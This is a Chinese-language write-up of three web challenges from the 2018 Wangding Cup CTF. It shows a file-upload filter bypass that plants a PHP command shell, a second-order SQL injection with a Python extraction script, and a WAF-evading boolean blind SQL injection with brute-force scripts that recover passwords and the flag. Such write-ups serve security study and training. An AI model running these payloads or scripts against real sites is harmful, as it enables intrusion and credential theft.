2018年网鼎杯第二场Web题解

wafUpload

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

一道有过滤的文件上传题,首先过滤的是文件的类型,修改上传类型为[‘image/jpeg’, ‘image/png’, ‘image/gif’]数组中任一一个元素即可,接下来将数组$file的最后一个元素取出判断是否是[‘jpg’, ‘png’, ‘gif’]中的任一元素,如果不是则退出程序,最终上传的文件名为”数组$file的第一个元素.$file[count($file) - 1]”,我们知道如果是一个完整的数组,那么$file[count($file) - 1]一定是数组的最后一个元素,而上面又将最后一个元素规定为jpg或png或gif,而我们的目的是上传一个php文件,那么后缀名一定是要.php,那么我们就可以上传一个不完整的数组,例如

1
2
3
4
5
6
7
8
9
<?php
$file = array();
$file[0] = 'demo.php';
$file[10] = 'jpg';
echo $file[count($file) - 1]; //NULL
echo '<br>';
$filename = reset($file) . '.' . $file[count($file) - 1];
echo $filename; //demo.php.
?>

这样就可以成功上传一个php文件,但是我们最终得到的文件名最后还有一个’.’,所以我们将$file[0]=demo.php/

这样最终得到demo.php/.

burp抓包修改

文件成功上传

访问url/upload/85ed06a27b8eb105c27cbc380822ede8/demo.php/.

抓包POST参数cmd任意执行命令

发现flag

读取

unfinished

首先来到的页面时login.php,没有其他提示,扫一下后台,发现register.php,

是一个注册页面,我们试着注册一个用户后登录,这里通过抓包发现注册成功后会返回302状态码重定向到login.php,否则返回200状态码回到register.php

我们可以发现,登录后又重定向到index.php,其中只有显示了用户名

有注册页面,有登录页面,很明显的存在sql查询,那么可以猜测注册页面的sql语句是

1
insert into tables values('$email','$username','$password')

如果执行成功,则注册成功,重定向到login.php,然后执行sql语句

1
insert into tables values('$email','$username','$password')

有查询结果则登录成功,返回查询结果的用户名信息

那么我们就可以推测这里存在二次注入,我们在register.php中的insert语句注入username,在index.php中显示注入的结果,这就是二次注入

接下来考虑insert注入

直接给出我的payload:

1
0'+ascii(substr((select database()) from 1 for 1))+'0

这样sql语句就变成了

1
insert into tables values('$email','0'+ascii(substr((select database()) from 1 for 1))+'0','$password')

本地数据库测试可行

那么接下来就是写脚本注入了

附上我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import re

register_url = "http://7144aea59c434409842c039e28cd3bc31fcff0f7dcb04f5b.game.ichunqiu.com/register.php"
login_url = "http://7144aea59c434409842c039e28cd3bc31fcff0f7dcb04f5b.game.ichunqiu.com/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'test@test'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)

这里实际测试获取表名,发现information被过滤了,flag表只能猜测得到

最后执行结果

sqlweb

题目首先给出了提示”admin拿不到flag”,题目是一个登陆页面,猜测存在sql注入

首先我们应该是要用admin来登录,先寻找注入点

抓包测试,服务器先检测输入的用户名是否存在,再检查密码是否正确

我们输入uname=admin&passwd=1&submit=login,提示password error

输入uname=admin’#&passwd=1&submit=login,提示password error

说明注入点可能在uname,被单引号包裹,那么我们可以根据提示password error 或者username error进行基于布尔的注入

输入uname=admin’ and 1=1#&passwd=1&submit=login,提示password error

提示waf:/sleep|benchmark|=|like|regexp|and||%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)

说明此处存在过滤关键字的waf,过滤了空格,用/**/替代,过滤了逗号,过滤了and,用&&替代,还过滤了等号,>,不等号也没办法用,这里可以用in语句来进行布尔注入的判断

过滤了substr,还有mid可以用,过滤了逗号,那么可以用mid( from 1 for 1)

那么我们可以构造payload

1
uname=admin'/**/&&/**/mid((select/**/database())/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login

根据返回的username error或者password error判断,如果返回password error,说明判断语句正确,返回username error说明判断语句错误

这里发现响应头部字段存在提示

1
hint: <!--create table users ...id username passwd  -->

告诉了我们表的结构

猜测flag在passwd,那么我们就注出passwd列下的数据,payload如下

1
uname=admin'/**/&&/**/mid((select/**/passwd/**/from/**/users)/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login

但是发现这里还过滤了user,那么就去掉users

1
uname=admin'/**/&&/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login

为什么可以这样呢,经过测试发现如果sql语句的前面已经指定了表和用户名,那么passwd直接返回的是该表下用户名对应的密码,如下图所示

接下来就是写个脚本注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://8d1802ff177a4d569dafef8aac590cbde77f688da3624512.game.ichunqiu.com/sql.php"
all_string = "{}-1234567890qwertyuiopasdfghjklzxcvbnm"
passwd = ""
f = 0
for i in range(1,100):
for j in all_string:
data = {
'uname':"admin'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)/**/in('%s')#"%(i,j),
'passwd':'1',
'submit':'login'
}
r = requests.post(url,data=data)
if len(r.text) == 75:
passwd = passwd + j
break
elif len(r.text) == 77 and j == 'm':
f = 1
break
if f == 1:
break
print('passwd:',passwd)

运行结果passwd: admin123

登录admin用户,提示只有wuyanzu用户才能拿到flag

那么我们再爆wuyanzu的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://8d1802ff177a4d569dafef8aac590cbde77f688da3624512.game.ichunqiu.com/sql.php"
all_string = "{}-1234567890qwertyuiopasdfghjklzxcvbnm"
passwd = ""
f = 0
for i in range(1,100):
for j in all_string:
data = {
'uname':"wuyanzu'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)/**/in('%s')#"%(i,j),
'passwd':'1',
'submit':'login'
}
r = requests.post(url,data=data)
if len(r.text) == 75:
passwd = passwd + j
break
elif len(r.text) == 77 and j == 'm':
f = 1
break
if f == 1:
break
print('passwd:',passwd)

执行结果passwd: flag{de822b90-2edf-404c-aaeb-8e797768d9ea}

拿到flag